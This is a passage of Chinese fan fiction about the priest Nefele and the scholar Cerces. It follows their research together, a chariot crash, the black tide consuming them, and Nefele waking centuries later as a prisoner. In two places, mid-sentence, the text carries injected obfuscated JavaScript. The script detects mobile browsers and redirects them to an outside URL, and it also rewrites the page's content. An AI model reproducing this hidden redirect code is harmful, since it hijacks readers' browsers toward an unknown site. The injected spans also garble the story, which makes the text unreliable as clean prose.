涅斐勒渐渐意识到，凭自己根本无法动摇索妮拉的意志。她一直如此，一直虔诚而坚定，深知自己做的一切是为了什么，能得到什么，会失去什么。可作为她的学生，自己却不能。 那大概是因为他的心里还残存着微弱的希望。那由「星神」赐予他的好运，无形中改变了他的沉默和悲观。 涅斐勒说：“届时，请让我为您送行。” 11. 理性的边界 当涅斐勒见到那位「最初的学者」塞勒苏斯时，他正在神悟树庭最高大的神木下展开书本毫无波澜地为年轻学徒们讲解课本中的问题。 那些课本涅斐勒也看过。都是一些经典的命题，甚至还有不少是塞勒苏斯自己给出的解答。涅斐勒很断定参考书是他翻给学徒们看的，如果让塞勒苏斯自己来解题，肯定只需一瞬就能得出答案了。 当讲堂里令人沉醉的安静被一阵刻意压低的脚步声打乱，那位有着梧桐树叶般柔韧而碧绿长发的学者伸手阻止了学生们的窃窃私语，面无表情地起身向涅斐勒走了过来。 “索妮拉的信在哪里？”他问。 如果不是索妮拉和涅斐勒说过，塞勒苏斯只是过于在乎知识和真理，以至于对常人的社交礼节不感兴趣，涅斐勒真的要以为他想和自己打一架（而他肯定会输）。 涅斐勒乖乖递上去，显得他也是塞勒苏斯座下的一名学生一般。 塞勒苏斯一目十行，涅斐勒和其它学徒在一旁乖乖等着。 “……”终于，塞勒苏斯说：“我明白了。涅斐勒，你跟我来。” 涅斐勒不知道塞勒苏斯要把他带到哪里，他只能在这位学者身后跟着。 “如果，你只是想让你的子民能够抵抗心理上的疾病和恐慌，你首先应该考虑「昏光庭院」的护理师们。”塞勒苏斯翡翠般的眼睛朝涅斐勒看过来，里面毫无多余的情绪，仿佛洞彻了涅斐勒所处的困境，“所以，你为什么不这样做？” 涅斐勒艰难地开口，由于这个问题太过一针见血，导致他不得不在这位智者面前暴露自己可能的「迷信」。“这件事涉及一些尚无法佐证的原理……所以我很难和您解释，塞勒苏斯阁下。” “嗯。”塞勒苏斯沉默着，而后问：“和你拥有的那种未知「神迹」有关？” 涅斐勒顿了顿，还没来得及想好答案，塞勒苏斯已经停步。 “到了。请进。”塞勒苏斯说。 这位学者将涅斐勒带到一个昏暗的小房间内。这个房间生长在树木的内部，换言之是一个树屋。里面除了一套床铺和一张小桌什么也没有，硬要说的话还有一些散乱的手稿和一盏没多少油，显然点了很久的灯。 塞勒苏斯盘腿坐在树屋的地上，熄灭再重新点燃油灯。木屋因此一阵昏暗又一阵明亮。烛火橘色的光线照在塞勒苏斯波澜不惊的脸上，学者拿起纸笔，将开始新一轮的研究。 “现在，我希望你能把你知道的一切都告诉我，有关那种「神迹」。”塞勒苏斯拿笔尖点了点纸面，“别担心，我已经做了足够合理的准备，我们的谈话不会被别人知道。” 等等，就这样开始了？或者说，这位神秘的树庭学者就这样决定帮帮他了？ 涅斐勒急忙问：“不好意思，塞勒苏斯阁下，老师她在信里写了什么？” 塞勒苏斯挑眉，似乎没想到涅斐勒不愿意跟着他定好的节奏配合他的调研——这位因建立「神悟树庭」而受到无数人崇拜的学者已经很久没有得到这样的对待了。 不过，塞勒苏斯还是选择回答涅斐勒的问题，也许是因为解惑是学者们的天性。 “她向我问候，告诉我她有一位学生证面临一些无法想象的难题，希望我作为旧识能对她伸出援手。” 塞勒苏斯回忆到这里，笔尖敲击纸面的幅度变快了一些。 “而后，她给了我一个任何学者都无法拒绝的筹码——探明翁法罗斯的起源。” “……”涅斐勒理解了一下，“老师她哄骗您帮我一把就能解答翁法罗斯的起源？” “哄骗？”塞勒苏斯反问，“可你身上的确有某种东西「东西」充满了奥秘。这是可以伪装的吗？” 他该怎么解释自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438461|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的经历？ “我没办法做到知无不言。有些东西，我个人认为不该成为翁法罗斯——至少是这个世纪的翁法罗斯的知识。”涅斐勒说。 塞勒苏斯轻轻捏住了纸边，眼睛随着涅斐勒微表情的每次变化而转动。 “你这样会令我感到好奇，涅斐勒。”塞勒苏斯说道，涅斐勒为此一阵毛骨悚然。 嗯……老师她不会就是预料到这一点才把他赶到塞勒苏斯这里的吧？ 总之，不管涅斐勒说了什么，怎样拒绝过于侵犯隐私（但塞勒苏斯总是会打着研究的旗号让他不得不接受）的行为，涅斐勒依旧过上了给树庭学者当小白鼠的美好（美好吗）生活。 “涅斐勒。”塞勒苏斯又在敲门，“……涅斐勒？已经是门扉时了。”塞勒苏斯不停地敲门，“快起床，我们要开始今天的研究了。” 胳膊拧不过大腿，看在塞勒苏斯是树庭最优秀学者的面子上，涅斐勒默默忍耐。 “记录波动数据，完成。”塞勒苏斯拿着他那本令涅斐勒眼熟的记录簿，涅斐勒真的弄不明白学者们对于研究的热情从何而来。 “你们解明一个问题一般要多久？”涅斐勒问，他想知道自己还要过多久这种日子。 塞勒苏斯沉思道：“这个问题、对我来说的话……两百年时间应该足够。” 欸、两百年？ 涅斐勒注意到了这个数字。不、不是因为它太长，而是因为别的问题。 老师不是说等自己回去就走吗？那他只要不回佩拉斯老师不就没理由走了？ 仔细一想，还真是！天啊，涅斐勒，你简直是个天才！塞勒苏斯，你真是个好人！ “请务必慢慢研究这个课题。”涅斐勒无比真诚地说。 “嗯？”塞勒苏斯不太懂，但塞勒苏斯还是点点头，“好，我会的，加油吧。” 12. 「黄金替罪羊」 塞勒苏斯是个很有趣的人，主要体现在他经常会提一些很突然的要求。 塞勒苏斯伸手：“涅斐勒，给我支笔。” 量子态的能量块在涅斐勒手中汇聚，片刻变成了塞勒苏斯记忆中标准的「笔」。 随着研究的日渐深入，涅斐勒对塞勒苏斯的了解也与日俱增。涅斐勒慢慢发现，这位树庭学者远没有看起来那样冷漠，更多时候他更像是个孩童，对万事万物都有着极深的好奇心。只是那副成人的外表和千年来积累的学识让他不像真正的小孩那样顽劣。所以不如说，塞勒苏斯有一颗追求真理的「赤子之心」。 “从你向我保证用两百年弄清这个议题之后，已经过去一百九十八年了。”涅斐勒提起这件事，“戈尔卡斯给我寄了一封信，翁法罗斯各地出现了黑色的潮水，那些潮水将泰坦的造物腐蚀，变成了没有理智的怪物。” 塞勒苏斯回答：“嗯。就像你在一百九十八年前就告诉我的一样，不是吗？” 涅斐勒拿起腰间的银匣一开一合地玩弄起来，“你真是冷静，塞勒苏斯。” “紧张也没用，涅斐勒。”塞勒苏斯放下笔，“我作为学者，只能做自己该做的事。” “好吧，自己该做的事。”涅斐勒败下阵来，“那你「该做的事」做的怎么样了？” 说实在的，塞勒苏斯，他们的研究进度是不是慢了点？当然是和黑潮的蔓延相比。 塞勒苏斯提笔写好最后一个标点符号后开始整理手稿，“嗯，差不多可以结束了。” 涅斐勒愣了一下，不确定塞勒苏斯是不是在开玩笑。 “呃，你是说可以结束了？真的吗？就今天？没有什么预兆，也没有什么仪式？” 涅斐勒清楚地看到塞勒苏斯眯起眼，脸上是对他深信那些「神悟树庭学者刻板印象大赏」的淡淡耻笑。 “成果会因为一点毫无关联的现象就出现在你的纸上吗？那研究还真是好做。” 塞勒苏斯拿起一沓叠在一起的手稿，抽出几张示意涅斐勒看看。 涅斐勒说：“我看不懂。” “只要看着就好，我会给你解说。”塞勒苏斯说，手指戳上涅斐勒手中手稿上的波形图，“看这个。这是我让学生打捞的黑潮呈现出的能量波谱，而这个，是你行使的神迹所呈现的波谱。” 涅斐勒不想承认，但：“它们有点像。” “嗯，是有点。”塞勒苏斯抬头看着涅斐勒，“这说明你的神迹和黑潮有某种联系。” 涅斐勒露出被恶心到的表情。 “塞勒苏斯，这不好笑。我宁愿你告诉我我的祝福是「尼卡多利」给的，也不希望你告诉我这份力量是黑潮的祝福。” 塞勒苏斯提问：“那位新生的泰坦和我们讨论的话题有联系吗？” 涅斐勒摇摇头：“这不重要。总之，你最好快告诉我这是个不好笑的玩笑。” “很遗憾，不是。”塞勒苏斯坚持他的理论，“你的祝福和黑潮很可能有某种联系。” 涅斐勒抗议：“没有。就算有，那也是不死不休的关系。” 塞勒苏斯点头，结果就是涅斐勒一拳打到了棉花上。 “嗯，很有这种可能。”塞勒苏斯说。 “涅斐勒，你厌恶黑潮，也不喜欢伴随黑潮而生的三位泰坦，我可以理解。但是你不能以此为理由拒绝接受现实。” 这就是塞勒苏斯的研究成果？证明他和黑潮有着「紧密」的联系？ “你的另一个课题呢？” “很遗憾，进展不佳。”塞勒苏斯有些犹豫，“我有些……猜想，但缺乏「素材」。” 那不就是没有进展吗？涅斐勒叹气，看来这个议题对于塞勒苏斯而言同样困难。 涅斐勒说：“我们不提这个了，好吗？塞勒苏斯。还是讲讲我们说好的事吧。” “……”塞勒苏斯定定地看着他，“关于那件事，我决定和你一起回佩拉斯，用实地考察找到解决你口中「疯狂」的办法。” 涅斐勒感到了些许不同寻常。 “在这里解决不了吗？” “嗯。我承认，你的描述让我低估了这东西的复杂程度。”塞勒苏斯回答。 涅斐勒笑了，“低估？你不会把黑潮当成了和山洪或地震类似的东西了吧？” 塞勒苏斯没说话，只点了点头。 是的，可以理解，让没有见过黑潮的人理解黑潮的可怕是不可能做到的事。 从一百年前开始，翁法罗斯接连发生了很多件大事。比如说黑潮降临，纷争、死亡和诡计的三泰坦诞生，这片神圣乐土第一次出现了死亡、痛苦、欺诈、以及灾祸。「神悟树庭」的宁静和外部的混乱形成了鲜明的对比。根据涅斐勒的记忆，直到他死去的年代里，黑潮依旧没有淹没理性的枝干——其实，这正是他选择用神树的「理性」对抗疯狂的根本原因。 “那你现在知道了。”涅斐勒不抱期望地说，“那现在你还打算趟这趟浑水吗？” “当然。以瑟希斯之名，我会解开黑潮的秘密。”塞勒苏斯毫不犹豫，“这是我承诺的东西，也是我想做的事。” “你的城邦能收留我吧？” 塞勒苏斯问，语气却透着种相信答案一定如自己所料的平静。 好吧，研究成果不佳，这不是塞勒苏斯的错。如果当时最智慧的学者都没办法解开这个难题，那么其它人当然也做不到了，而日后的人类仍拿黑潮束手无策就是证明。 涅斐勒无奈地说：“不然呢？总不能让你一个人在外面流浪吧？” 塞勒苏斯的研究在「神悟树庭」进行不下去了。不是什么学派的迫害之类无聊的问题，主要是因为：他研究的是黑潮、泰坦和整个翁法罗斯——而塞勒苏斯深知，蜗居树庭是不可能在这个剧变的纷争年代得到真理的。 说干就干。涅斐勒用机械银鸟给佩拉斯城寄了一封信，不久后，铭刻着佩拉斯标志的车辇就抵达了「神悟树庭」的小径之外。 塞勒苏斯看着眼前从空中降落的纯白车辇，“虽然我早有耳闻佩拉斯工匠的巧手，但是，百闻不如一见。” 涅斐勒心满意足地微笑起来。但他不会告诉塞勒苏斯，这玩意其实是他用「神悟树庭」提供的塞勒苏斯研究机械生命的手稿鼓捣出来的。 涅斐勒玩心大起，站在白辇旁。 “伟大的树庭贤者塞勒苏斯大人，请您乘车前往佩拉斯与我的老师一叙。” 塞勒苏斯好像没懂涅斐勒的幽默，他虽然坐上了车，那张冷静的脸上却显露出几分只有涅斐勒才能看出的忧心忡忡。 “涅斐勒，是树庭的生活太无聊把你逼疯了吗？”塞勒苏斯淡淡地问。 涅斐勒：“……” 涅斐勒不再自找没趣，他跨入白辇，操作了一番，白辇发出鸣响，升上了天空。 通过这辆车辇，泰坦的信徒得以分享神明俯瞰天地的荣光。 白辇在空中平稳前行，一路上，翁法罗斯的景色平铺成一幅图画。涅斐勒尽可能平静地告诉塞勒苏斯，他打算根据日后的预算和实际需要，尝试亲手制造一条龙出来。你当然没听错，塞勒苏斯，他说的就是传说里的那些龙。 “作为武器，它应该很有威慑力。”塞勒苏斯看向外面，“不过从生产难度上说……” “怎么？”见好友不说话了，涅斐勒转过头用眼神询问他。直到他看到塞勒苏斯微微睁大的眼睛。涅斐勒顺着塞勒苏斯的目光看向他所看的终点：一座被黑潮淹没、涅斐勒叫不出名字的城邦。 涅斐勒不知道该说些什么，这些景色他早已司空见惯。 “……”塞勒苏斯沉默不语。 自天空，学者看向大地。 死亡泰坦降生后，死亡方才有了概念。 悲鸣、生锈；腐烂、生蛆。 溶于泥水。 生命不再美丽，而成为了最终跨入死亡前一段悲凉的旅途。 在这些潮水面前，翁法罗斯大地上的生灵竟如此脆弱和渺小。 “——原来，这就是「死亡」。” 塞勒苏斯陷入沉思，似乎亲眼见证时代的更迭，让他愈发体悟到了知识的局限。 一路无言。当熟悉的沃野与绿色的平原跃入眼帘之后，白辇上的氛围才陡然一变。 涅斐勒看着远处黎明中冒头的塔尖，推推塞勒苏斯。 “塞勒苏斯，我们快到了。这个距离，应该在门扉时结束时就能抵达神殿的塔顶了。”涅斐勒很高兴，深深呼吸早晨的空气，“我都能听见老师呼唤我名字的声音了！” 塞勒苏斯被涅斐勒推得晃来晃去，挡开他没轻没重的手。 “涅斐勒，我有一个问题。”塞勒苏斯碧绿色的眼睛看向涅斐勒。 “……问我？” “嗯。涅斐勒，你……究竟是什么人？” 百米高空的寒风吹起涅斐勒的银发，这位佩拉斯城的祭司一手扶着白辇的边缘，一边向塞勒苏斯侧目。 涅斐勒冲着塞勒苏斯笑：“怎么，你这话是什么意思？” 塞勒苏斯坦言道：“我想过很多种可能，关于你身上的异常之处。但最后，我发现只有一个「最不合理」的答案能最完美地解开所有的谜团。” 望着远处鱼肚白的天光中显露那庄严倩影的高塔，塞勒苏斯认为他必须从涅斐勒这里得到一个答案。 论智慧，涅斐勒不及树庭的学者。但论所做的决定，时间总证明他是正确的。而在一定程度上，正确，便意味着合理。 为什么会有人如此「合理」呢？知道此前所有问题的「答案」，就好像他来自…… 也许在很久很久之后，会有新的学者带着他的研究从荒野中走出，解开翁法罗斯留给他的谜团，用自己的智慧将未来的翁法罗斯拯救于无边的愚茫之中。但塞勒苏斯知道那念头终究只是一个假设，真正重要的是眼前：涅斐勒，我的朋友啊，究竟是什么驱使着你坚守在这条道路上呢？ “涅斐勒，回答我，你是否来自未——” 塞勒苏斯未出口的话被远方轰然炸开的巨响摔碎，一柄黄金色的长矛带着杀气刺向云丛中高悬的天空都市，残存的气浪带起怒浪般的气旋，将远处的白辇一同掀翻。转瞬间天崩地裂。 都市的残骸化作一颗燃烧的流星从天边坠向高山深谷。它解体时产生的废料伴随在都市的主体边一同燃烧，缓慢划过天际的模样像是在为过去尊居高天的岁月哀悼。 涅斐勒拽着塞勒苏斯的手腕，确保这从未乘坐过飞辇的学者不会掉下去。混乱中涅斐勒弄丢了自己的头冠，他只好默默祈祷索妮拉骂他能骂得短一点。 涅斐勒低声说：“下次，我一定要给这东西装上自动迫降模块……” 涅斐勒忍着在白辇里颠三倒四的恶心和磕到手肘的疼痛，强行将白辇迫降。白辇的底部碰撞到地面，产生一阵剧烈的摇晃，在地上留下一道深深的犁地般的犁痕。塞勒苏斯则双手紧紧抓着车辇的边缘，把这样完全应付不了的场合交给了涅斐勒。白辇似乎在刚才的冲击中出了点状况，完全不对涅斐勒的指令做任何响应。 涅斐勒在下坠的失重感中稳住身体，不再犹豫，抓住白辇的驾驶台，咏唱咒文。 在一阵温暖的光芒中，白辇上的摩痕渐渐化作金色的虚影，跳动的鲜红指示灯也黯淡下来。再浪费时间就要摔死了！涅斐勒抬起手肘，用力一敲白辇——终于，飞辇失灵的系统在这一秒恢复运作，涅斐勒对着驾驶台迅速做出几个操作，白辇在半空中强行启动，向上的推力抵消了下落的重力，但还是向前方猛冲出去。 从冒着烟的白辇里爬出来，涅斐勒重重地松了口气。 “塞勒苏斯，你没事吧？”自从回到佩拉斯起，涅斐勒从没像现在这么狼狈。这位灰头土脸的大祭司把身边比自己好不到哪里去的树庭贤者拽起来，看着对方经历这一遭后纠缠在一起的头发，略带调侃又不失关心地望着他。 “……”塞勒苏斯动了动脚踝，一阵剧痛传入他的骨髓。看着涅斐勒突然漫上紧张和愧疚的脸，他不禁怀疑：到底是因为涅斐勒有着泰坦祝福的好运，还是自己真的久疏锻炼，为什么二人体质差不多，涅斐勒看起来什么事都没有，自己却倒霉地崴了脚？ 涅斐勒皱着眉，他比塞勒苏斯更熟悉这带的情况，因此他才知道“坠机”这件事比想象中要麻烦得多。 “塞勒苏斯，现在我们遇到点麻烦。”涅斐勒说，“坐飞辇，只要几个小时就能回去；但如果步行的话……” 不，甚至，塞勒苏斯暂时没办法跟涅斐勒一起「步行」回佩拉斯。 涅斐勒想了想，呼唤出机械鸟。决定给索妮拉写封求救信，告诉她有一名树庭贤者和她的学生出了事，急需她的帮助。 塞勒苏斯坐在地上，看着涅斐勒鼓捣那些精巧的机关造物。 塞勒苏斯找回自己的冷静，默默重置了话题。 “涅斐勒，刚才的问题你还没有回答。”塞勒苏斯问，“所以说，我猜的对吗？你是来自「未来」翁法罗斯的人？” 如果答案是「否」那么就意味着有更神秘的法则支配着这片大地，让涅斐勒成为如此特别的存在；如果答案是「是」，涅斐勒是怎么做到这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438462|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的？他回到过去，到底是改变了历史，还是历史依旧按照他知晓的那样发生了呢？ 但这次，涅斐勒没有回应。 好多种笑声，环绕在涅斐勒的耳畔，涅斐勒感受到了冰冷的凝视。一道黑影走进他的身体，和他的存在慢慢「重合」。有什么东西被破坏了，在遥远的至高天，一颗水晶被它折射出的暗芒破坏。涅斐勒的身体迅速冷却，如同被咬破喉咙的猎物在流血一般。 涅斐勒感受到自己的每一个毛孔都在渗出血，而渗出的血又迅速地变暗，变成了涌动的黑潮。他所在的草地因这无妄之灾迅速枯萎，黑潮落在一只蝴蝶的翅膀上，将它腐蚀成了丑陋残缺的样子。紧接着一团黑潮将蝴蝶的头部包裹，触角颤巍巍地移动，很快不再动弹。这只小昆虫就这样结束了自己短暂的一生。 “……涅斐勒？”塞勒苏斯看着眼前的一幕，比起近距离触碰死亡的恐惧，眼前慢慢被黑潮包裹的好友更让他牵肠挂肚。 绿发的学者扶着地面，保持着身体的平衡走近已难辨人形的好友。 涅斐勒的躯壳在涌动的黑潮里变成了某种胚胎般的物质，质地柔软富有弹性。只是里面孕育出的不是一个满载祝福的新的小生命，而是一个背负诅咒、不应存活此世的怪物。 塞勒苏斯难以表达自己此时的感受，他甚至不确定涅斐勒能不能听见他的声音。 “涅斐勒，回答我！” 随着这声命令，一只光裸的手臂从「涅斐勒」的胸腔伸出。 黑潮从它的表面滴落，擦着塞勒苏斯的长袍掉在草地上。那只手臂趁着塞勒苏斯惊愕的瞬间抓住了他的手，借力一拽，这只手臂连接的肩膀和上身也从胚胎里长了出来。 令塞勒苏斯无法理解的是，上身衔接的头颅恰好是涅斐勒的脸。那张脸睁开眼，转瞬间浮现的微表情和塞勒苏斯熟识的涅斐勒竟别无二致。 “……塞勒苏斯？” 「涅斐勒」顿了顿，他的表情出现了一瞬空白，看起来是在回忆当时的情况。他的手指松开又紧握，最后还是没有放开塞勒苏斯的手。最后，他问： “现在……是光历多少年？” “……2572年。” “啊……我想起来了。” 「涅斐勒」一副记起什么的样子，突然看向远处佩拉斯城高耸入云的银之塔。 “今天，是你和「我」死在黑潮里的那一天。”「涅斐勒」淡淡地陈述自己的死亡。 黑色的潮水，里面漂浮着动物僵硬腐烂的尸体，一点点自他们掠过的盆地蔓延至眼前白辇坠落的旷野。 塞勒苏斯用注视某种和石子与瀑布类似死物的眼神注视着「涅斐勒」。 “和我走吧，翁法罗斯这种狭隘的地方容不下你这样的天才。”「涅斐勒」笃定道，向塞勒苏斯伸出手，“我知道在一个很遥远的地方有更多美妙的课题，你一定会过得很幸福，我的朋友。” 此刻，涅斐勒的眼中再无某种关于灾祸和死亡的忧虑，取而代之的是一股纯粹的愉悦在他的眼中流淌。眼前的「涅斐勒」真的是他吗？塞勒苏斯不知道，但他似乎从这身裹黑潮的怪物身上看出了对自己的不舍。他好像是真的想将自己从渐渐逼近的黑潮中解救。 塞勒苏斯说：“那么，你能回答我一个问题吗？涅斐勒。” 和涅斐勒不同，「涅斐勒」似乎对这个问题毫无抵触，他满不在乎地点头，似乎早就料到了塞勒苏斯想要问出的问题。 塞勒苏斯观察着他。 “你——来自「未来」吗？” “不是。”涅斐勒不假思索地回答，同时露出微笑，向塞勒苏斯伸出手纠缠道：“好啦，我回答你的问题了，塞勒苏斯。那么你是不是也该满足我的请求了？” 塞勒苏斯沉默不语。直觉告诉他，「涅斐勒」说的并不是谎话。 黑潮漫过塞勒苏斯的脚踝，黑潮侵蚀神经时的剧痛感打断了他的思考。 恍神时，有低沉的古老语言在他耳边响起，塞勒苏斯皱着眉按了按跳动的太阳穴。 「涅斐勒」露出不置可否的表情。 “……再浪费时间，你可就得等死了。”他抬手拽住塞勒苏斯的手腕，学者的身体顷刻间坠向黑潮。 “睡一觉吧，塞勒苏斯。宇宙之外的万千世界比这里要美好太多。” 宇宙、世界？塞勒苏斯挣动了一下，但无济于事。他张开口，成团的黑潮便从他的口中涌入，他睁开眼，眼睛便被没过头顶的黑潮封住。他想挣脱「涅斐勒」的钳制，回到二人熟悉的那座小小树屋，将这新的证据记录下来，但「涅斐勒」的眼睛里除了他什么都没有。很显然，他绝不会轻易放走这到手的猎物。 ……可是，尽管黑潮能阻塞喉咙，缠住身体，却无法阻止思想在一位学者的头脑中延伸。从一颗种子不断分裂、再分裂，直到成长为遮天蔽日的群木。 在这漆黑一片的黑潮之底，塞勒苏斯看不见自己的友人。但他并不遗憾，也并不感伤。因为在这里，通过他所见证的一切，塞勒苏斯终于证实了自己的「猜想」。 是的，之前的研究方法是行不通的，那种记录物质与现象的办法果然无路可走。真正的真理，存在于物种的「灵魂」之中。 塞勒苏斯已看不清任何东西，但某种超越感官的知觉，让塞勒苏斯「看」到了「涅斐勒」在毫无防备中呈现给他的、属于涅斐勒的「本质」。 那是一颗由记忆铸成的坚韧灵魂。塞勒苏斯从中看见了涅斐勒的一切……那些他曾窥见的部分，现在在潮水的波动中毫无保留地展现给他。他意识到，涅斐勒有着这样的灵魂：仿佛油灯上点燃的火，虽然微弱，却温暖到足够驱散眼前的黑暗。 塞勒苏斯看到——或者说，共享了涅斐勒的记忆，包括超越了这个时间、不该被知晓的记忆。 塞勒苏斯觉得自己的困惑被解答了，但与此同时，让的肢体在溶解。他意识到，就连他自己也在慢慢地变成黑潮的一部分。 那说明，时间剩的不多。 在意识的最末，学者操纵着不成型的身体，像一条条小鱼游过水底的暗潮，寻找一株白色的珊瑚。 塞勒苏斯的意识在黑潮中裂解，身体被腐蚀消融，和所有美丽或丑陋的物质融为一体。如果这就是浸泡黑潮的结局，那么涅斐勒，你呢？ 如果你不是未来之人，你的「灵魂」此刻又在哪里漂泊呢？ 在黑潮的底部，学者化作的小鱼没能找到那颗温暖的灵魂。那颗白珊瑚不在这里。 绿色的小鱼不高兴地甩甩尾巴，吐出了一连串泡泡，消失在了漆黑的水底。 13. 千年歌 当涅斐勒的意识从仿佛无底黑渊的噩梦中苏醒，他发现，自己早已不再身处那片由黑潮肆虐的田野。留在自己身边的也不是塞勒苏斯，而是一名陌生的红发女性。眼前的城塞也不再有佩拉斯标志性的银白高塔，而是被更加宏伟的神殿占据。歌咏泰坦的圣歌从远处传来，涅斐勒仔细聆听，发现那歌词所祝颂的并非天空部族信仰的艾格勒，而是命运三泰坦。 当涅斐勒试图起身，却发现不知何时自己的手脚已经被沉重的钢铁层层禁锢，铁链的表面刻着让受刑者无法挣脱的符文。 这仿若罪人般的待遇，不由让涅斐勒怀疑自己欺瞒众生的罪是否已在那场漫及原野的灾难中暴露在天空的注视之中。可他身上的衣着却华贵非常，看起来可并不像是罪人该有的待遇。 察觉到涅斐勒移动身体发出的动静，有着一头卷曲红发的女性将慈悲的视线投了过来。她合上书，踏着轻盈的步伐走向他。从那一抹视线里，涅斐勒感受到一股熟悉的纯粹，像是那些最有天赋为泰坦所注视的祭司们，像是他在别人眼里的样子、像是他的老师，又像是他远在奥赫玛的使者朋友…… 红发女性的眼中有着和那些人一样的纯粹。 “……” 涅斐勒在女性尽管涅斐勒从女性的身上感受不到任何恶意，可他现在的处境又让他没办法相信任何人。于是，涅斐勒又一次问出了那个问题：“……这位女士，我在哪里？现在是光历多少年？” 红发女性将手置于身前，轻轻地对涅斐勒行礼。 “涅斐勒阁下，我名墨忒斯，是雅努萨波利斯这一代的圣女。”红发女性——也就是墨忒斯站直身体，注视着涅斐勒的眼睛，“而您想知道的答案，分别是「雅努萨波利斯」，以及——光历3740年。” 霎时间，那仿佛在措手不及间失去什么的感觉潮水般席卷了涅斐勒的心脏。 “……”墨忒斯带着浅浅的微笑，耐心地看着涅斐勒将视线缓缓移向她。 “其实，涅斐勒阁下，我们之间像这样的对话已不是第一次发生了。” “从我进入到这间「囚室」起，您便已经在这里「等候」着我。” 涅斐勒忽然发现，名为墨忒斯的年轻女性眼中的仁慈并非是祭司或使者对于无力掌控命运的普通人施与的慈悲，而是带着向上的特 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睡前故事 据记载，光历2572年，一位暂居神悟树庭的银发使者用骗术让树庭的创始学者随他离开神悟树庭。离开理性泰坦的庇护后，这使者立刻展露出他可恶的一面来，将那位学者——也是他的导师和好友溺毙在黑潮中。 “等等！”涅斐勒说，“这和我知道的、和我「亲眼」见到的根本不一样！”涅斐勒特意强调了亲眼。 墨忒斯的笑容似乎有点维持不住，涅斐勒确定从墨忒斯脸上看到了种种无奈。 “涅斐勒阁下，您还是这种反应呢。”墨忒斯说，“不过，我也还是会回答：这就是我知道的故事。” 涅斐勒想要解释些什么，但最终还是保持了沉默：“……” 涅斐勒能够用自己对泰坦的信仰担保他绝对没有做那件事。但现在他的记忆有明显的断层，重重涂抹掉了那些本该存在的回忆的颜色，只留下一张白纸。 换言之，涅斐勒真的知道他在那段时间做了什么吗？ “算了，墨忒斯阁下，请你继续。”涅斐勒摇摇头。无论记载是真是假，至少能回答涅斐勒自己为什么这副样子被关在这里了。 于是墨忒斯接着说： 因为大祭司的罪行，神悟树庭宣布将不再与佩拉斯有任何往来。冒犯理性的代价令来自止境之城的人遭到更多城邦的拒绝，这座城邦不得已成为独立于边界之外的孤城。 为使城邦得以运转，也为了向整个翁法罗斯展示他赎罪的决心，大约二十年后，这位大祭司决定自我流放，将自身放逐于荆棘丛生的荒野之上，不再过问任何与信仰和政治有关的事。而雅努萨波利斯接纳了他，命运三泰坦的智慧与仁慈将用祂们的神力为他洗刷背叛与渎神的罪过，让他改过自新。 墨忒斯在这里停下，拿起茶杯，“涅斐勒阁下，需要我详细说明什么吗？” 涅斐勒听着听着反而不确定了，因为这种事还真有可能是他自己做出来的。 “你说的事，我已大概知晓……”涅斐勒说，“能告诉我佩拉斯和奥赫玛的情况吗？” 墨忒斯饮一口茶，放下茶杯，轻叹一声。 “佩拉斯城，仍然立于这片大地，是翁法罗斯北境最闪耀的明珠。”墨忒斯斟酌着语气说，“但兴许是使者的行径令神明失望，那座城自那天起下起了雪。” “佩拉斯的人民并不是佩拉斯城那些千年前建成、屹立不倒的高塔与城墙，无论信仰的高低，自从死亡泰坦于冥河升起，很少有生命能抵御那样残酷的气象，维持自己的活动与呼吸。” “您可以认为，您的子民放弃了您给他们留下的城邦。” 佩拉斯成为了一座因祭司的罪行而失去民众的死城。如今那里一无所有，只剩下那些宛如骸骨的白色高塔对着天空发出狂风呼啸般的嘶吼，执拗地悼念曾经的繁荣。 面对这些罪状，涅斐勒只是淡淡地笑了一声，问：“是谁告诉你这些「历史」的？” 这个问题，墨忒斯没有回答。 “那座城邦的祭司呢？” 墨忒斯说：“佩拉斯城的祭司，她们是信仰坚定的信徒。据说，在栖身的城池遭神明遗弃后，她们举行了各种各样的仪式，献祭宝石、血液与活物，请求泰坦的原谅，但那些代表混乱与纷争的举动招来了黑潮。” “她们连同脚下的城池一起被淹没，灵魂因禁忌的仪式徘徊在那座城中，无法逃离。” 涅斐勒展示般地抬起右手，拴在手腕上的铁链拽得他腕骨发痛。 “那么，雅努萨波利斯就应该放我回去，将那些无罪的灵魂带出那座雪中的牢笼。”说着，涅斐勒放下手，铁链咣地砸在地上，“何必把我关在这里，既不给我一个痛快，也不告诉我到底该怎么做才能让事情挽回。” 墨忒斯当然听出了涅斐勒的讽刺。哪怕她不去听，涅斐勒对这一切安排的不满也已从那双眼睛里所含的些许笑意中渗透出来。 “至于奥赫玛，时值那位拥有黄金般天赋的祭司当政，他作为盟友，在佩拉斯孤立无援时履行了自己的承诺，用大地兽开辟的商道为佩拉斯送上了解决燃眉之急的布匹和粮食，不过这也让那位颇受爱戴的祭司深陷反对的囹圄。” 涅斐勒沉默了一会，点了点头，看起来已然习惯了这样的消息。 “如果是这样，我会报答他。”涅斐勒回应，“他现在在哪？” 墨忒斯回答：“早在几百年前，他就已经去世了。” 涅斐勒说道：“……好，太好了。雅努萨波利斯，你们做得好。” 